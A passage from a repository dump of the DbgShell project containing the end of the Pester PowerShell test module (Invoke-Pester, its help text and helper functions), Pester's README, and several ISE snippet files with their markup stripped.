@safeCommandLookupParameters 'Select-Object' = Get-Command -Name Select-Object -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Set-Content' = Get-Command -Name Set-Content -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Set-PSBreakpoint' = Get-Command -Name Set-PSBreakpoint -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Set-StrictMode' = Get-Command -Name Set-StrictMode -Module Microsoft.PowerShell.Core @safeCommandLookupParameters 'Set-Variable' = Get-Command -Name Set-Variable -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Sort-Object' = Get-Command -Name Sort-Object -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Split-Path' = Get-Command -Name Split-Path -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Start-Sleep' = Get-Command -Name Start-Sleep -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Test-Path' = Get-Command -Name Test-Path -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Where-Object' = Get-Command -Name Where-Object -Module Microsoft.PowerShell.Core @safeCommandLookupParameters 'Write-Error' = Get-Command -Name Write-Error -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Write-Progress' = Get-Command -Name Write-Progress -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Write-Verbose' = Get-Command -Name Write-Verbose -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Write-Warning' = Get-Command -Name Write-Warning -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters } # Not all platforms have Get-WmiObject (Nano) # Get-CimInstance is prefered, but we can use Get-WmiObject if it exists # Moreover, it shouldn't really be fatal if neither of those cmdlets # exist if ( Get-Command -ea SilentlyContinue Get-CimInstance ) { $script:SafeCommands['Get-CimInstance'] = Get-Command -Name Get-CimInstance -Module CimCmdlets @safeCommandLookupParameters } elseif ( Get-command -ea SilentlyContinue Get-WmiObject ) { $script:SafeCommands['Get-WmiObject'] = Get-Command -Name Get-WmiObject -Module Microsoft.PowerShell.Management @safeCommandLookupParameters } else { Write-Warning "OS Information retrieval is not possible, reports will contain only partial system data" } # little sanity check to make sure we don't blow up a system with a typo up there # (not that I've EVER done that by, for example, mapping New-Item to Remove-Item...) foreach ($keyValuePair in $script:SafeCommands.GetEnumerator()) { if ($keyValuePair.Key -ne $keyValuePair.Value.Name) { throw "SafeCommands entry for $($keyValuePair.Key) does not hold a reference to the proper command." } } $moduleRoot = & $script:SafeCommands['Split-Path'] -Path $MyInvocation.MyCommand.Path "$moduleRoot\Functions\*.ps1", "$moduleRoot\Functions\Assertions\*.ps1" | & $script:SafeCommands['Resolve-Path'] | & $script:SafeCommands['Where-Object'] { -not ($_.ProviderPath.ToLower().Contains(".tests.")) } | & $script:SafeCommands['ForEach-Object'] { . $_.ProviderPath } Add-Type -TypeDefinition @" using System; namespace Pester { [Flags] public enum OutputTypes { None = 0, Default = 1, Passed = 2, Failed = 4, Pending = 8, Skipped = 16, Inconclusive = 32, Describe = 64, Context = 128, Summary = 256, All = Default | Passed | Failed | Pending | Skipped | Inconclusive | Describe | Context | Summary, Fails = Default | Failed | Pending | Skipped | Inconclusive | Describe | Context | Summary } } "@ function Has-Flag { param ( [Parameter(Mandatory = $true)] [Pester.OutputTypes] $Setting, [Parameter(Mandatory = $true, ValueFromPipeline=$true)] [Pester.OutputTypes] $Value ) 0 -ne ($Setting -band $Value) } function Invoke-Pester { <# .SYNOPSIS Runs Pester tests .DESCRIPTION The Invoke-Pester function runs Pester tests, including *.Tests.ps1 files and Pester tests in PowerShell scripts. You can run scripts that include Pester tests just as you would any other Windows PowerShell script, including typing the full path at the command line and running in a script editing program. Typically, you use Invoke-Pester to run all Pester tests in a directory, or to use its many helpful parameters, including parameters that generate custom objects or XML files. By default, Invoke-Pester runs all *.Tests.ps1 files in the current directory and all subdirectories recursively. You can use its parameters to select tests by file name, test name, or tag. To run Pester tests in scripts that take parameter values, use the Script parameter with a hash table value. Also, by default, Pester tests write test results to the console host, much like Write-Host does, but you can use the Quiet parameter to suppress the host messages, use the PassThru parameter to generate a custom object (PSCustomObject) that contains the test results, use the OutputXml and OutputFormat parameters to write the test results to an XML file, and use the EnableExit parameter to return an exit code that contains the number of failed tests. You can also use the Strict parameter to fail all pending and skipped tests. This feature is ideal for build systems and other processes that require success on every test. To help with test design, Invoke-Pester includes a CodeCoverage parameter that lists commands, functions, and lines of code that did not run during test execution and returns the code that ran as a percentage of all tested code. Invoke-Pester, and the Pester module that exports it, are products of an open-source project hosted on GitHub. To view, comment, or contribute to the repository, see https://github.com/Pester. .PARAMETER Script Specifies the test files that Pester runs. You can also use the Script parameter to pass parameter names and values to a script that contains Pester tests. The value of the Script parameter can be a string, a hash table, or a collection of hash tables and strings. Wildcard characters are supported. The Script parameter is optional. If you omit it, Invoke-Pester runs all *.Tests.ps1 files in the local directory and its subdirectories recursively. To run tests in other files, such as .ps1 files, enter the path and file name of the file. (The file name is required. Name patterns that end in "*.ps1" run only *.Tests.ps1 files.) To run a Pester test with parameter names and/or values, use a hash table as the value of the script parameter. The keys in the hash table are: -- Path [string] (required): Specifies a test to run. The value is a path\file name or name pattern. Wildcards are permitted. All hash tables in a Script parameter value must have a Path key. -- Parameters [hashtable]: Runs the script with the specified parameters. The value is a nested hash table with parameter name and value pairs, such as @{UserName = 'User01'; Id = '28'}. -- Arguments [array]: An array or comma-separated list of parameter values without names, such as 'User01', 28. Use this key to pass values to positional parameters. .PARAMETER TestName Runs only tests in Describe blocks that have the specified name or name pattern. Wildcard characters are supported. If you specify multiple TestName values, Invoke-Pester runs tests that have any of the values in the Describe name (it ORs the TestName values). .PARAMETER EnableExit Will cause Invoke-Pester to exit with a exit code equal to the number of failed tests once all tests have been run. Use this to "fail" a build when any tests fail. .PARAMETER OutputFile The path where Invoke-Pester will save formatted test results log file. The path must include the location and name of the folder and file name with the xml extension. If this path is not provided, no log will be generated. .PARAMETER OutputFormat The format of output. Two formats of output are supported: NUnitXML and LegacyNUnitXML. .PARAMETER OutputXml The parameter OutputXml is deprecated, please use OutputFile and OutputFormat instead. The path where Invoke-Pester will save a NUnit formatted test results log file. The path must include the location and name of the folder and file name with the xml extension. If this path is not provided, no log will be generated. .PARAMETER Tag Runs only tests in Describe blocks with the specified Tag parameter values. Wildcard characters and Tag values that include spaces or whitespace characters are not supported. When you specify multiple Tag values, Invoke-Pester runs tests that have any of the listed tags (it ORs the tags). However, when you specify TestName and Tag values, Invoke-Pester runs only describe blocks that have one of the specified TestName values and one of the specified Tag values. If you use both Tag and ExcludeTag, ExcludeTag takes precedence. .PARAMETER ExcludeTag Omits tests in Describe blocks with the specified Tag parameter values. Wildcard characters and Tag values that include spaces or whitespace characters are not supported. When you specify multiple ExcludeTag values, Invoke-Pester omits tests that have any of the listed tags (it ORs the tags). However, when you specify TestName and ExcludeTag values, Invoke-Pester omits only describe blocks that have one of the specified TestName values and one of the specified Tag values. If you use both Tag and ExcludeTag, ExcludeTag takes precedence .PARAMETER PassThru Returns a custom object (PSCustomObject) that contains the test results. By default, Invoke-Pester writes to the host program, not to the output stream (stdout). If you try to save the result in a variable, the variable is empty unless you use the PassThru parameter. To suppress the host output, use the Quiet parameter. .PARAMETER CodeCoverage Adds a code coverage report to the Pester tests. Takes strings or hash table values. A code coverage report lists the lines of code that did and did not run during a Pester test. This report does not tell whether code was tested; only whether the code ran during the test. By default, the code coverage report is written to the host program (like Write-Host). When you use the PassThru parameter, the custom object that Invoke-Pester returns has an additional CodeCoverage property that contains a custom object with detailed results of the code coverage test, including lines hit, lines missed, and helpful statistics. However, NUnitXML and LegacyNUnitXML output (OutputXML, OutputFormat) do not include any code coverage information, because it's not supported by the schema. Enter the path to the files of code under test (not the test file). Wildcard characters are supported. If you omit the path, the default is local directory, not the directory specified by the Script parameter. To run a code coverage test only on selected functions or lines in a script, enter a hash table value with the following keys: -- Path (P)(mandatory) . Enter one path to the files. Wildcard characters are supported, but only one string is permitted. One of the following: Function or StartLine/EndLine -- Function (F) : Enter the function name. Wildcard characters are supported, but only one string is permitted. -or- -- StartLine (S): Performs code coverage analysis beginning with the specified line. Default is line 1. -- EndLine (E): Performs code coverage analysis ending with the specified line. Default is the last line of the script. .PARAMETER Strict Makes Pending and Skipped tests to Failed tests. Useful for continuous integration where you need to make sure all tests passed. .PARAMETER Quiet Suppresses the output that Pester writes to the host program, including the result summary and CodeCoverage output. This parameter does not affect the PassThru custom object or the XML output that is written when you use the Output parameters. .PARAMETER Show Customizes the output Pester writes to the screen. Available options are None, Default, Passed, Failed, Pending, Skipped, Inconclusive, Describe, Context, Summary, Header, All, Fails. The options can be combined to define presets. Common use cases are: None - to write no output to the screen. All - to write all available information (this is default option). Fails - to write everything except Passed (but including Describes etc.). A common setting is also Failed, Summary, to write only failed tests and test summary. This parameter does not affect the PassThru custom object or the XML output that is written when you use the Output parameters. .PARAMETER PesterOption Sets advanced options for the test execution. Enter a PesterOption object, such as one that you create by using the New-PesterOption cmdlet, or a hash table in which the keys are option names and the values are option values. For more information on the options available, see the help for New-PesterOption. .Example Invoke-Pester This command runs all *.Tests.ps1 files in the current directory and its subdirectories. .Example Invoke-Pester -Script .\Util* This commands runs all *.Tests.ps1 files in subdirectories with names that begin with 'Util' and their subdirectories. .Example Invoke-Pester -Script D:\MyModule, @{ Path = '.\Tests\Utility\ModuleUnit.Tests.ps1'; Parameters = @{ Name = 'User01' }; Arguments = srvNano16 } This command runs all *.Tests.ps1 files in D:\MyModule and its subdirectories. It also runs the tests in the ModuleUnit.Tests.ps1 file using the following parameters: .\Tests\Utility\ModuleUnit.Tests.ps1 srvNano16 -Name User01 .Example Invoke-Pester -TestName "Add Numbers" This command runs only the tests in the Describe block named "Add Numbers". .EXAMPLE $results = Invoke-Pester -Script D:\MyModule -PassThru -Quiet $failed = $results.TestResult | where Result -eq 'Failed' $failed.Name cannot find help for parameter: Force : in Compress-Archive help for Force parameter in Compress-Archive has wrong Mandatory value help for Compress-Archive has wrong parameter type for Force help for Update parameter in Compress-Archive has wrong Mandatory value help for DestinationPath parameter in Expand-Archive has wrong Mandatory value $failed[0] Describe : Test help for Compress-Archive in Microsoft.PowerShell.Archive (1.0.0.0) Context : Test parameter help for Compress-Archive Name : cannot find help for parameter: Force : in Compress-Archive Result : Failed Passed : False Time : 00:00:00.0193083 FailureMessage : Expected: value to not be empty StackTrace : at line: 279 in C:\GitHub\PesterTdd\Module.Help.Tests.ps1 279: $parameterHelp.Description.Text | Should Not BeNullOrEmpty ErrorRecord : Expected: value to not be empty ParameterizedSuiteName : Parameters : {} This examples uses the PassThru parameter to return a custom object with the Pester test results. By default, Invoke-Pester writes to the host program, but not to the output stream. It also uses the Quiet parameter to suppress the host output. The first command runs Invoke-Pester with the PassThru and Quiet parameters and saves the PassThru output in the $results variable. The second command gets only failing results and saves them in the $failed variable. The third command gets the names of the failing results. The result name is the name of the It block that contains the test. The fourth command uses an array index to get the first failing result. The property values describe the test, the expected result, the actual result, and useful values, including a stack tace. .Example Invoke-Pester -EnableExit -OutputFile ".\artifacts\TestResults.xml" -OutputFormat NUnitXml This command runs all tests in the current directory and its subdirectories. It writes the results to the TestResults.xml file using the NUnitXml schema. The test returns an exit code equal to the number of test failures. .EXAMPLE Invoke-Pester -CodeCoverage 'ScriptUnderTest.ps1' Runs all *.Tests.ps1 scripts in the current directory, and generates a coverage report for all commands in the "ScriptUnderTest.ps1" file. .EXAMPLE Invoke-Pester -CodeCoverage @{ Path = 'ScriptUnderTest.ps1'; Function = 'FunctionUnderTest' } Runs all *.Tests.ps1 scripts in the current directory, and generates a coverage report for all commands in the "FunctionUnderTest" function in the "ScriptUnderTest.ps1" file. .EXAMPLE Invoke-Pester -CodeCoverage @{ Path = 'ScriptUnderTest.ps1'; StartLine = 10; EndLine = 20 } Runs all *.Tests.ps1 scripts in the current directory, and generates a coverage report for all commands on lines 10 through 20 in the "ScriptUnderTest.ps1" file. .EXAMPLE Invoke-Pester -Script C:\Tests -Tag UnitTest, Newest -ExcludeTag Bug This command runs *.Tests.ps1 files in C:\Tests and its subdirectories. In those files, it runs only tests that have UnitTest or Newest tags, unless the test also has a Bug tag. .LINK https://github.com/pester/Pester/wiki/Invoke-Pester Describe about_Pester New-PesterOption #> [CmdletBinding(DefaultParameterSetName = 'LegacyOutputXml')] param( [Parameter(Position=0,Mandatory=0)] [Alias('Path', 'relative_path')] [object[]]$Script = '.', [Parameter(Position=1,Mandatory=0)] [Alias("Name")] [string[]]$TestName, [Parameter(Position=2,Mandatory=0)] [switch]$EnableExit, [Parameter(Position=3,Mandatory=0, ParameterSetName = 'LegacyOutputXml')] [string]$OutputXml, [Parameter(Position=4,Mandatory=0)] [Alias('Tags')] [string[]]$Tag, [string[]]$ExcludeTag, [switch]$PassThru, [object[]] $CodeCoverage = @(), [Switch]$Strict, [Parameter(Mandatory = $true, ParameterSetName = 'NewOutputSet')] [string] $OutputFile, [Parameter(ParameterSetName = 'NewOutputSet')] [ValidateSet('LegacyNUnitXml', 'NUnitXml')] [string] $OutputFormat = 'NUnitXml', [Switch]$Quiet, [object]$PesterOption, [Pester.OutputTypes]$Show = 'All' ) if ($PSBoundParameters.ContainsKey('OutputXml')) { & $script:SafeCommands['Write-Warning'] 'The -OutputXml parameter has been deprecated; please use the new -OutputFile and -OutputFormat parameters instead. To get the same type of export that the -OutputXml parameter currently provides, use an -OutputFormat of "LegacyNUnitXml".' & $script:SafeCommands['Start-Sleep'] -Seconds 2 $OutputFile = $OutputXml $OutputFormat = 'LegacyNUnitXml' } $script:mockTable = @{} if ($Quiet) { $Show = [Pester.OutputTypes]::None } $pester = New-PesterState -TestNameFilter $TestName -TagFilter ($Tag -split "\s") -ExcludeTagFilter ($ExcludeTag -split "\s") -SessionState $PSCmdlet.SessionState -Strict:$Strict -Show:$Show -PesterOption $PesterOption Enter-CoverageAnalysis -CodeCoverage $CodeCoverage -PesterState $pester Write-Screen "`r`n`r`n`r`n`r`n" $invokeTestScript = { param ( [Parameter(Position = 0)] [string] $Path, [object[]] $Arguments = @(), [System.Collections.IDictionary] $Parameters = @{} ) & $Path @Parameters @Arguments } Set-ScriptBlockScope -ScriptBlock $invokeTestScript -SessionState $PSCmdlet.SessionState $testScripts = @(ResolveTestScripts $Script) foreach ($testScript in $testScripts) { try { do { & $invokeTestScript -Path $testScript.Path -Arguments $testScript.Arguments -Parameters $testScript.Parameters } until ($true) } catch { $firstStackTraceLine = $_.ScriptStackTrace -split '\r?\n' | & $script:SafeCommands['Select-Object'] -First 1 $pester.AddTestResult("Error occurred in test script '$($testScript.Path)'", "Failed", $null, $_.Exception.Message, $firstStackTraceLine, $null, $null, $_) # This is a hack to ensure that XML output is valid for now. The test-suite names come from the Describe attribute of the TestResult # objects, and a blank name is invalid NUnit XML. This will go away when we promote test scripts to have their own test-suite nodes, # planned for v4.0 $pester.TestResult[-1].Describe = "Error in $($testScript.Path)" $pester.TestResult[-1] | Write-PesterResult } } $pester | Write-PesterReport $coverageReport = Get-CoverageReport -PesterState $pester Show-CoverageReport -CoverageReport $coverageReport Exit-CoverageAnalysis -PesterState $pester if(& $script:SafeCommands['Get-Variable'] -Name OutputFile -ValueOnly -ErrorAction $script:IgnoreErrorPreference) { Export-PesterResults -PesterState $pester -Path $OutputFile -Format $OutputFormat } if ($PassThru) { #remove all runtime properties like current* and Scope $properties = @( "TagFilter","ExcludeTagFilter","TestNameFilter","TotalCount","PassedCount","FailedCount","SkippedCount","PendingCount",'InconclusiveCount',"Time","TestResult" if ($CodeCoverage) { @{ Name = 'CodeCoverage'; Expression = { $coverageReport } } } ) $pester | & $script:SafeCommands['Select-Object'] -Property $properties } if ($EnableExit) { Exit-WithCode -FailedCount $pester.FailedCount } } function New-PesterOption { <# .SYNOPSIS Creates an object that contains advanced options for Invoke-Pester .PARAMETER IncludeVSCodeMarker When this switch is set, an extra line of output will be written to the console for test failures, making it easier for VSCode's parser to provide highlighting / tooltips on the line where the error occurred. .INPUTS None You cannot pipe input to this command. .OUTPUTS System.Management.Automation.PSObject .LINK Invoke-Pester #> [CmdletBinding()] param ( [switch] $IncludeVSCodeMarker ) return & $script:SafeCommands['New-Object'] psobject -Property @{ IncludeVSCodeMarker = [bool]$IncludeVSCodeMarker } } function ResolveTestScripts { param ([object[]] $Path) $resolvedScriptInfo = @( foreach ($object in $Path) { if ($object -is [System.Collections.IDictionary]) { $unresolvedPath = Get-DictionaryValueFromFirstKeyFound -Dictionary $object -Key 'Path', 'p' $arguments = @(Get-DictionaryValueFromFirstKeyFound -Dictionary $object -Key 'Arguments', 'args', 'a') $parameters = Get-DictionaryValueFromFirstKeyFound -Dictionary $object -Key 'Parameters', 'params' if ($null -eq $Parameters) { $Parameters = @{} } if ($unresolvedPath -isnot [string] -or $unresolvedPath -notmatch '\S') { throw 'When passing hashtables to the -Path parameter, the Path key is mandatory, and must contain a single string.' } if ($null -ne $parameters -and $parameters -isnot [System.Collections.IDictionary]) { throw 'When passing hashtables to the -Path parameter, the Parameters key (if present) must be assigned an IDictionary object.' } } else { $unresolvedPath = [string] $object $arguments = @() $parameters = @{} } if ($unresolvedPath -notmatch '[\*\?\[\]]' -and (& $script:SafeCommands['Test-Path'] -LiteralPath $unresolvedPath -PathType Leaf) -and (& $script:SafeCommands['Get-Item'] -LiteralPath $unresolvedPath) -is [System.IO.FileInfo]) { $extension = [System.IO.Path]::GetExtension($unresolvedPath) if ($extension -ne '.ps1') { & $script:SafeCommands['Write-Error'] "Script path '$unresolvedPath' is not a ps1 file." } else { & $script:SafeCommands['New-Object'] psobject -Property @{ Path = $unresolvedPath Arguments = $arguments Parameters = $parameters } } } else { # World's longest pipeline? & $script:SafeCommands['Resolve-Path'] -Path $unresolvedPath | & $script:SafeCommands['Where-Object'] { $_.Provider.Name -eq 'FileSystem' } | & $script:SafeCommands['Select-Object'] -ExpandProperty ProviderPath | & $script:SafeCommands['Get-ChildItem'] -Include *.Tests.ps1 -Recurse | & $script:SafeCommands['Where-Object'] { -not $_.PSIsContainer } | & $script:SafeCommands['Select-Object'] -ExpandProperty FullName -Unique | & $script:SafeCommands['ForEach-Object'] { & $script:SafeCommands['New-Object'] psobject -Property @{ Path = $_ Arguments = $arguments Parameters = $parameters } } } } ) # Here, we have the option of trying to weed out duplicate file paths that also contain identical # Parameters / Arguments. However, we already make sure that each object in $Path didn't produce # any duplicate file paths, and if the caller happens to pass in a set of parameters that produce # dupes, maybe that's not our problem. For now, just return what we found. $resolvedScriptInfo } function Get-DictionaryValueFromFirstKeyFound { param ([System.Collections.IDictionary] $Dictionary, [object[]] $Key) foreach ($keyToTry in $Key) { if ($Dictionary.Contains($keyToTry)) { return $Dictionary[$keyToTry] } } } function Set-ScriptBlockScope { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock, [Parameter(Mandatory = $true, ParameterSetName = 'FromSessionState')] [System.Management.Automation.SessionState] $SessionState, [Parameter(Mandatory = $true, ParameterSetName = 'FromSessionStateInternal')] $SessionStateInternal ) $flags = [System.Reflection.BindingFlags]'Instance,NonPublic' if ($PSCmdlet.ParameterSetName -eq 'FromSessionState') { $SessionStateInternal = $SessionState.GetType().GetProperty('Internal', $flags).GetValue($SessionState, $null) } [scriptblock].GetProperty('SessionStateInternal', $flags).SetValue($ScriptBlock, $SessionStateInternal, $null) } function Get-ScriptBlockScope { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock ) $flags = [System.Reflection.BindingFlags]'Instance,NonPublic' [scriptblock].GetProperty('SessionStateInternal', $flags).GetValue($ScriptBlock, $null) } function Get-OperatingSystem { [CmdletBinding()] param() ## Prior to v6, PowerShell was solely Windows. In v6, the $IsWindows var was introduced. if ($PSVersionTable.PSVersion.Major -lt 6 -or $IsWindows) { 'Windows' } elseif ($IsOSX) { 'OSX' } elseif ($IsLinux) { 'Linux' } } function Get-TempDirectory { [CmdletBinding()] param() if ((Get-OperatingSystem) -eq 'Windows') { $env:TEMP } else { '/tmp' } } function SafeGetCommand { <# .SYNOPSIS This command is used by Pester's Mocking framework. You do not need to call it directly. #> return $script:SafeCommands['Get-Command'] } $snippetsDirectoryPath = "$PSScriptRoot\Snippets" if ((& $script:SafeCommands['Test-Path'] -Path Variable:\psise) -and ($null -ne $psISE) -and ($PSVersionTable.PSVersion.Major -ge 3) -and (& $script:SafeCommands['Test-Path'] $snippetsDirectoryPath)) { Import-IseSnippet -Path $snippetsDirectoryPath } & $script:SafeCommands['Export-ModuleMember'] Describe, Context, It, In, Mock, Assert-VerifiableMocks, Assert-MockCalled, Set-TestInconclusive & $script:SafeCommands['Export-ModuleMember'] New-Fixture, Get-TestDriveItem, Should, Invoke-Pester, Setup, InModuleScope, Invoke-Mock & $script:SafeCommands['Export-ModuleMember'] BeforeEach, AfterEach, BeforeAll, AfterAll & $script:SafeCommands['Export-ModuleMember'] Get-MockDynamicParameters, Set-DynamicParameterVariables & $script:SafeCommands['Export-ModuleMember'] SafeGetCommand, New-PesterOption & $script:SafeCommands['Export-ModuleMember'] New-MockObject ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/README.md ================================================ __Build Status:__ [![Build status](https://build.powershell.org/guestAuth/app/rest/builds/buildType:(id:Pester_TestPester)/statusIcon)](https://build.powershell.org/project.html?projectId=Pester&tab=projectOverview&guest=1) Pester 3.0 has been released! To see a list of changes in this version, refer to the [What's New in Pester 3.0?](https://github.com/pester/Pester/wiki/What's-New-in-Pester-3.0) Wiki page. --- [![Join the chat at https://gitter.im/pester/Pester](https://badges.gitter.im/pester/Pester.svg)](https://gitter.im/pester/Pester?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) Pester ======= Pester provides a framework for **running unit tests to execute and validate PowerShell commands from within PowerShell**. Pester consists of a simple set of functions that expose a testing domain-specific language (DSL) for isolating, running, evaluating and reporting the results of PowerShell commands. Pester tests can execute any command or script that is accessible to a Pester test file. This can include functions, cmdlets, modules and scripts. Pester can be run in *ad-hoc* style in a console or **it can be integrated into the build scripts of a continuous integration (CI) system**. **Pester also contains a powerful set of mocking functions** in which tests mimic any command functionality within the tested PowerShell code. A Pester Test ------------- BuildChanges.ps1 ```powershell function Build ($version) { write-host "A build was run for version: $version" } function BuildIfChanged { $thisVersion=Get-Version $nextVersion=Get-NextVersion if($thisVersion -ne $nextVersion) {Build $nextVersion} return $nextVersion } # Imagine that the following functions have heavy side-effect function Get-Version { throw New-Object NotImplementedException } function Get-NextVersion { throw New-Object NotImplementedException } ``` BuildChanges.Tests.ps1 ```powershell $here = Split-Path -Parent $MyInvocation.MyCommand.Path $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path) -replace '\.Tests\.', '.' . "$here\$sut" Describe "BuildIfChanged" { Context "When there are changes" { Mock Get-Version {return 1.1} Mock Get-NextVersion {return 1.2} Mock Build {} -Verifiable -ParameterFilter {$version -eq 1.2} $result = BuildIfChanged It "Builds the next version" { Assert-VerifiableMocks } It "Returns the next version number" { $result | Should Be 1.2 } } Context "When there are no changes" { Mock Get-Version -MockWith {return 1.1} Mock Get-NextVersion -MockWith {return 1.1} Mock Build {} $result = BuildIfChanged It "Should not build the next version" { Assert-MockCalled Build -Times 0 -ParameterFilter {$version -eq 1.1} } } } ``` Running Tests ------------- C:\PS> Invoke-Pester This will run all tests inside of files named `*.Tests.ps1` recursively from the current directory and print a report of all failing and passing test results to the console. C:\PS> Invoke-Pester -TestName BuildIfChanged You can also run specific tests by using the `-TestName` parameter of the `Invoke-Pester` command. The above example runs all tests with a `Describe` block named `BuildIfChanged`. If you want to run multiple tests, you can pass a string array into the `-TestName` parameter, similar to the following example: C:\PS> Invoke-Pester -TestName BuildIfChanged, BaconShouldBeCrispy Continuous Integration with Pester ----------------------------------- Pester integrates well with almost any build automation solution. There are several options for this integration: - The `-OutputFile` parameter allows you to export data about the test execution. Currently, this parameter allows you to produce NUnit-style XML output, which any modern CI solution should be able to read. - The `-PassThru` parameter can be used if your CI solution supports running PowerShell code directly. After Pester finishes running, check the FailedCount property on the object to determine whether any tests failed, and take action from there. - The `-EnableExit` switch causes Pester to exit the current PowerShell session with an error code. This error code will be the number of failed tests; 0 indicates success. As an example, there is also a file named `Pester.bat` in the `bin` folder which shows how you might integrate with a CI solution that does not support running PowerShell directly. By wrapping a call to `Invoke-Pester` in a batch file, and making sure that batch file returns a non-zero exit code if any tests fail, you can still use Pester even when limited to cmd.exe commands in your CI jobs. Whenever possible, it's better to run Invoke-Pester directly (either in an interactive PowerShell session, or using CI software that supports running PowerShell steps in jobs). This is the method that we test and support in our releases. For Further Learning: ----------------------------------- * [Getting started with Pester](http://www.powershellmagazine.com/2014/03/12/get-started-with-pester-powershell-unit-testing-framework/) * [Testing your scripts with Pester, Assertions and more](http://www.powershellmagazine.com/2014/03/27/testing-your-powershell-scripts-with-pester-assertions-and-more/) * [Writing Pester Tests](https://github.com/PowerShell/PowerShell/blob/master/docs/testing-guidelines/WritingPesterTests.md) * [Pester Wiki](https://github.com/pester/Pester/wiki) * [Google Discussion Group](https://groups.google.com/forum/?fromgroups#!forum/pester) * `C:\PS> Import-Module ./pester.psm1; Get-Help about_pester` * Microsoft's PowerShell test suite itself is being converted into Pester tests. [See the PowerShell-Tests repository.](https://github.com/PowerShell/PowerShell-Tests) * Note: The following two links were for Pester v1.0. The syntax shown, particularly for performing assertions with Should, is no longer applicable to later versions of Pester. * [powershell-bdd-testing-pester-screencast](http://scottmuc.com/blog/development/powershell-bdd-testing-pester-screencast/) * [pester-bdd-for-the-system-administrator](http://scottmuc.com/blog/development/pester-bdd-for-the-system-administrator/) ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/Context.snippets.ps1xml ================================================ 
Context Add empty Pester Context block ctx ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/Describe.snippets.ps1xml ================================================ 
Describe Add empty Pester Describe block dsc ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/It.snippets.ps1xml ================================================ 
It Add empty Pester It block it nohwnd PowerShell Expansion
================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/ShouldBe.snippets.ps1xml ================================================ 
Should Be Add Pester Should Be assertion sb Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/ShouldBeGreaterThan.snippets.ps1xml ================================================ 
Should Be Greater Than Add Pester Should BeGreaterThan assertion sbgt Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/ShouldBeLessThan.snippets.ps1xml ================================================ 
Should Be Less Than Add Pester Should BeLessThan assertion sblt Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/ShouldBeNullOrEmpty.snippets.ps1xml ================================================ 
Should Be NullOrEmpty Add Pester Should BeNullOrEmpty assertion sbn Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/ShouldContain.snippets.ps1xml ================================================ 
Should Contain Add Pester Should Contain assertion sc Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/ShouldExist.snippets.ps1xml ================================================ 
Should Exist Add Pester Should Exist assertion se Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/ShouldMatch.snippets.ps1xml ================================================ 
Should Match Add Pester Should Match assertion sm Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/ShouldNotBe.snippets.ps1xml ================================================ 
Should Not Be Add Pester Should Be assertion snb Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/ShouldNotBeNullOrEmpty.snippets.ps1xml ================================================ 
Should Not BeNullOrEmpty Add Pester Should Not BeNullOrEmpty assertion snbn Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/ShouldNotContain.snippets.ps1xml ================================================ 
Should Not Contain Add Pester Should Not Contain assertion snc Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/ShouldNotExist.snippets.ps1xml ================================================ 
Should Not Exist Add Pester Should Not Exist assertion sne Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/ShouldNotMatch.snippets.ps1xml ================================================ 
Should Not Match Add Pester Should Not Match assertion snm Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/ShouldNotThrow.snippets.ps1xml ================================================ 
Should Not Throw Add Pester Should Not Throw assertion snt Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Snippets/ShouldThrow.snippets.ps1xml ================================================ 
Should Throw Add Pester Should Throw assertion st Pipeline,ScriptBlock,Editor,Console nohwnd Expansion
